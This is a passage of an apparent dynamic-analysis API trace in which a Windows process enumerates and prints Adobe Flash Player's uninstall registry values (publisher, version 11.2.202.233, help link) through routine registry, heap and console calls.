lpWideCharStr="Publisher", cchWideChar=9, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Publisher", lpUsedDefaultChar=0x0) returned 9 [0146.740] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0146.740] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.740] __iob_func () returned 0x7fefd702a80 [0146.740] _fileno (_File=0x7fefd702ab0) returned 1 [0146.740] _errno () returned 0xc4bb0 [0146.740] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.740] _errno () returned 0xc4bb0 [0146.740] GetFileType (hFile=0x50) returned 0x1 [0146.741] lstrlenW (lpString=" ") returned 4 [0146.741] GetConsoleOutputCP () returned 0x1b5 [0146.741] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0146.741] GetConsoleOutputCP () returned 0x1b5 [0146.741] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0146.741] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0146.741] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.741] __iob_func () returned 0x7fefd702a80 [0146.741] _fileno (_File=0x7fefd702ab0) returned 1 [0146.741] _errno () returned 0xc4bb0 [0146.741] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.741] _errno () returned 0xc4bb0 [0146.741] GetFileType (hFile=0x50) returned 0x1 [0146.741] lstrlenW (lpString="REG_SZ") returned 6 [0146.741] GetConsoleOutputCP () returned 0x1b5 [0146.741] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0146.741] GetConsoleOutputCP () returned 0x1b5 [0146.741] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0146.741] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0146.741] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.742] __iob_func () returned 0x7fefd702a80 [0146.742] _fileno (_File=0x7fefd702ab0) returned 1 [0146.742] _errno () returned 0xc4bb0 [0146.742] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.742] _errno () returned 0xc4bb0 [0146.742] GetFileType (hFile=0x50) returned 0x1 [0146.742] lstrlenW (lpString=" ") returned 4 [0146.742] GetConsoleOutputCP () returned 0x1b5 [0146.742] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0146.742] GetConsoleOutputCP () returned 0x1b5 [0146.742] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0146.742] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0146.742] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.742] __iob_func () returned 0x7fefd702a80 [0146.742] _fileno (_File=0x7fefd702ab0) returned 1 [0146.742] _errno () returned 0xc4bb0 [0146.742] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.742] _errno () returned 0xc4bb0 [0146.742] GetFileType (hFile=0x50) returned 0x1 [0146.742] lstrlenW (lpString="Adobe Systems Incorporated") returned 26 [0146.742] GetConsoleOutputCP () returned 0x1b5 [0146.742] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Adobe Systems Incorporated", cchWideChar=26, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 26 [0146.742] GetConsoleOutputCP () returned 0x1b5 [0146.743] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Adobe Systems Incorporated", cchWideChar=26, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Adobe Systems Incorporated", lpUsedDefaultChar=0x0) returned 26 [0146.743] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 26 [0146.743] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.743] __iob_func () returned 0x7fefd702a80 [0146.743] _fileno (_File=0x7fefd702ab0) returned 1 [0146.743] _errno () returned 0xc4bb0 [0146.743] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.743] _errno () returned 0xc4bb0 [0146.743] GetFileType (hFile=0x50) returned 0x1 [0146.743] lstrlenW (lpString="\n") returned 1 [0146.743] GetConsoleOutputCP () returned 0x1b5 [0146.743] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0146.743] GetConsoleOutputCP () returned 0x1b5 [0146.743] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0146.743] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0146.743] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.743] GetProcessHeap () returned 0x2e0000 [0146.743] GetProcessHeap () returned 0x2e0000 [0146.743] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f9cc0) returned 1 [0146.743] GetProcessHeap () returned 0x2e0000 [0146.743] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2f9cc0) returned 0x3a [0146.743] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f9cc0 | out: hHeap=0x2e0000) returned 1 [0146.743] RegEnumValueW (in: hKey=0x5c, dwIndex=0x2, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayVersion", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0146.743] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="DisplayVersion", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x1c) returned 0x0 [0146.744] GetProcessHeap () returned 0x2e0000 [0146.744] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x1e) returned 0x2f5bf0 [0146.744] GetProcessHeap () returned 0x2e0000 [0146.744] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f5bf0) returned 1 [0146.744] GetProcessHeap () returned 0x2e0000 [0146.744] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2f5bf0) returned 0x1e [0146.744] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="DisplayVersion", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2f5bf0, pcbData=0x23f670*=0x1c | out: pdwType=0x23f5f0*=0x1, pvData="11.2.202.233", pcbData=0x23f670*=0x1a) returned 0x0 [0146.744] __iob_func () returned 0x7fefd702a80 [0146.744] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0146.744] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0146.744] _fileno (_File=0x7fefd702ab0) returned 1 [0146.744] _errno () returned 0xc4bb0 [0146.744] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.744] _errno () returned 0xc4bb0 [0146.744] GetFileType (hFile=0x50) returned 0x1 [0146.744] lstrlenW (lpString=" ") returned 4 [0146.744] GetConsoleOutputCP () returned 0x1b5 [0146.744] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0146.744] GetConsoleOutputCP () returned 0x1b5 [0146.744] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0146.744] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0146.744] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.744] lstrlenW (lpString="DisplayVersion") returned 14 [0146.744] __iob_func () returned 0x7fefd702a80 [0146.744] _fileno (_File=0x7fefd702ab0) returned 1 [0146.744] _errno () returned 0xc4bb0 [0146.744] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.744] _errno () returned 0xc4bb0 [0146.744] GetFileType (hFile=0x50) returned 0x1 [0146.745] lstrlenW (lpString="DisplayVersion") returned 14 [0146.745] GetConsoleOutputCP () returned 0x1b5 [0146.745] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="DisplayVersion", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0146.745] GetConsoleOutputCP () returned 0x1b5 [0146.745] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="DisplayVersion", cchWideChar=14, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayVersion", lpUsedDefaultChar=0x0) returned 14 [0146.745] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 14 [0146.745] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.745] __iob_func () returned 0x7fefd702a80 [0146.745] _fileno (_File=0x7fefd702ab0) returned 1 [0146.745] _errno () returned 0xc4bb0 [0146.745] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.745] _errno () returned 0xc4bb0 [0146.745] GetFileType (hFile=0x50) returned 0x1 [0146.745] lstrlenW (lpString=" ") returned 4 [0146.745] GetConsoleOutputCP () returned 0x1b5 [0146.745] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0146.745] GetConsoleOutputCP () returned 0x1b5 [0146.745] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0146.745] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0146.745] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.746] __iob_func () returned 0x7fefd702a80 [0146.746] _fileno (_File=0x7fefd702ab0) returned 1 [0146.746] _errno () returned 0xc4bb0 [0146.746] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.746] _errno () returned 0xc4bb0 [0146.746] GetFileType (hFile=0x50) returned 0x1 [0146.746] lstrlenW (lpString="REG_SZ") returned 6 [0146.746] GetConsoleOutputCP () returned 0x1b5 [0146.746] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0146.746] GetConsoleOutputCP () returned 0x1b5 [0146.746] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0146.746] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0146.746] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.746] __iob_func () returned 0x7fefd702a80 [0146.746] _fileno (_File=0x7fefd702ab0) returned 1 [0146.746] _errno () returned 0xc4bb0 [0146.746] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.746] _errno () returned 0xc4bb0 [0146.746] GetFileType (hFile=0x50) returned 0x1 [0146.746] lstrlenW (lpString=" ") returned 4 [0146.746] GetConsoleOutputCP () returned 0x1b5 [0146.746] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0146.746] GetConsoleOutputCP () returned 0x1b5 [0146.747] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0146.747] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0146.747] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.747] __iob_func () returned 0x7fefd702a80 [0146.747] _fileno (_File=0x7fefd702ab0) returned 1 [0146.747] _errno () returned 0xc4bb0 [0146.747] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.747] _errno () returned 0xc4bb0 [0146.747] GetFileType (hFile=0x50) returned 0x1 [0146.747] lstrlenW (lpString="11.2.202.233") returned 12 [0146.747] GetConsoleOutputCP () returned 0x1b5 [0146.747] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="11.2.202.233", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0146.747] GetConsoleOutputCP () returned 0x1b5 [0146.747] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="11.2.202.233", cchWideChar=12, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="11.2.202.233", lpUsedDefaultChar=0x0) returned 12 [0146.747] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 12 [0146.747] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.747] __iob_func () returned 0x7fefd702a80 [0146.747] _fileno (_File=0x7fefd702ab0) returned 1 [0146.747] _errno () returned 0xc4bb0 [0146.747] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.747] _errno () returned 0xc4bb0 [0146.747] GetFileType (hFile=0x50) returned 0x1 [0146.747] lstrlenW (lpString="\n") returned 1 [0146.747] GetConsoleOutputCP () returned 0x1b5 [0146.748] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0146.748] GetConsoleOutputCP () returned 0x1b5 [0146.748] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0146.748] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0146.748] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.748] GetProcessHeap () returned 0x2e0000 [0146.748] GetProcessHeap () returned 0x2e0000 [0146.748] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f5bf0) returned 1 [0146.748] GetProcessHeap () returned 0x2e0000 [0146.748] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2f5bf0) returned 0x1e [0146.748] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f5bf0 | out: hHeap=0x2e0000) returned 1 [0146.748] RegEnumValueW (in: hKey=0x5c, dwIndex=0x3, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="HelpLink", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0146.748] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="HelpLink", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x5c) returned 0x0 [0146.748] GetProcessHeap () returned 0x2e0000 [0146.748] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x5e) returned 0x2fb7d0 [0146.748] GetProcessHeap () returned 0x2e0000 [0146.748] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fb7d0) returned 1 [0146.748] GetProcessHeap () returned 0x2e0000 [0146.748] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fb7d0) returned 0x5e [0146.748] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="HelpLink", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fb7d0, pcbData=0x23f670*=0x5c | out: pdwType=0x23f5f0*=0x1, pvData="http://www.adobe.com/go/flashplayer_support/", pcbData=0x23f670*=0x5a) returned 0x0 [0146.748] __iob_func () returned 0x7fefd702a80 [0146.748] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0146.748] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0146.748] _fileno (_File=0x7fefd702ab0) returned 1 [0146.748] _errno () returned 0xc4bb0 [0146.748] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.748] _errno () returned 0xc4bb0 [0146.748] GetFileType (hFile=0x50) returned 0x1 [0146.748] lstrlenW (lpString=" ") returned 4 [0146.748] GetConsoleOutputCP () returned 0x1b5 [0146.749] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0146.749] GetConsoleOutputCP () returned 0x1b5 [0146.749] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0146.749] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0146.749] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.749] lstrlenW (lpString="HelpLink") returned 8 [0146.749] __iob_func () returned 0x7fefd702a80 [0146.749] _fileno (_File=0x7fefd702ab0) returned 1 [0146.749] _errno () returned 0xc4bb0 [0146.749] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.749] _errno () returned 0xc4bb0 [0146.749] GetFileType (hFile=0x50) returned 0x1 [0146.749] lstrlenW (lpString="HelpLink") returned 8 [0146.749] GetConsoleOutputCP () returned 0x1b5 [0146.749] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HelpLink", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0146.749] GetConsoleOutputCP () returned 0x1b5 [0146.749] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HelpLink", cchWideChar=8, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HelpLink", lpUsedDefaultChar=0x0) returned 8 [0146.749] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 8 [0146.749] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.749] __iob_func () returned 0x7fefd702a80 [0146.749] _fileno (_File=0x7fefd702ab0) returned 1 [0146.749] _errno () returned 0xc4bb0 [0146.750] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.750] _errno () returned 0xc4bb0 [0146.750] GetFileType (hFile=0x50) returned 0x1 [0146.750] lstrlenW (lpString=" ") returned 4 [0146.750] GetConsoleOutputCP () returned 0x1b5 [0146.750] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0146.750] GetConsoleOutputCP () returned 0x1b5 [0146.750] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0146.750] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0146.750] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.750] __iob_func () returned 0x7fefd702a80 [0146.750] _fileno (_File=0x7fefd702ab0) returned 1 [0146.750] _errno () returned 0xc4bb0 [0146.750] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.750] _errno () returned 0xc4bb0 [0146.750] GetFileType (hFile=0x50) returned 0x1 [0146.750] lstrlenW (lpString="REG_SZ") returned 6 [0146.750] GetConsoleOutputCP () returned 0x1b5 [0146.750] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0146.750] GetConsoleOutputCP () returned 0x1b5 [0146.750] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0146.750] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0146.751] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.751] __iob_func () returned 0x7fefd702a80 [0146.751] _fileno (_File=0x7fefd702ab0) returned 1 [0146.751] _errno () returned 0xc4bb0 [0146.751] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.751] _errno () returned 0xc4bb0 [0146.751] GetFileType (hFile=0x50) returned 0x1 [0146.751] lstrlenW (lpString=" ") returned 4 [0146.751] GetConsoleOutputCP () returned 0x1b5 [0146.751] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0146.751] GetConsoleOutputCP () returned 0x1b5 [0146.751] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0146.751] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0146.751] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.751] __iob_func () returned 0x7fefd702a80 [0146.751] _fileno (_File=0x7fefd702ab0) returned 1 [0146.751] _errno () returned 0xc4bb0 [0146.751] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.751] _errno () returned 0xc4bb0 [0146.751] GetFileType (hFile=0x50) returned 0x1 [0146.751] lstrlenW (lpString="http://www.adobe.com/go/flashplayer_support/") returned 44 [0146.751] GetConsoleOutputCP () returned 0x1b5 [0146.751] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="http://www.adobe.com/go/flashplayer_support/", cchWideChar=44, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 44 [0146.751] GetConsoleOutputCP () returned 0x1b5 [0146.752] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="http://www.adobe.com/go/flashplayer_support/", cchWideChar=44, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://www.adobe.com/go/flashplayer_support/", lpUsedDefaultChar=0x0) returned 44 [0146.752] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 44 [0146.752] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.752] __iob_func () returned 0x7fefd702a80 [0146.752] _fileno (_File=0x7fefd702ab0) returned 1 [0146.752] _errno () returned 0xc4bb0 [0146.752] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.752] _errno () returned 0xc4bb0 [0146.752] GetFileType (hFile=0x50) returned 0x1 [0146.752] lstrlenW (lpString="\n") returned 1 [0146.752] GetConsoleOutputCP () returned 0x1b5 [0146.752] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0146.752] GetConsoleOutputCP () returned 0x1b5 [0146.752] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0146.752] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0146.752] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.752] GetProcessHeap () returned 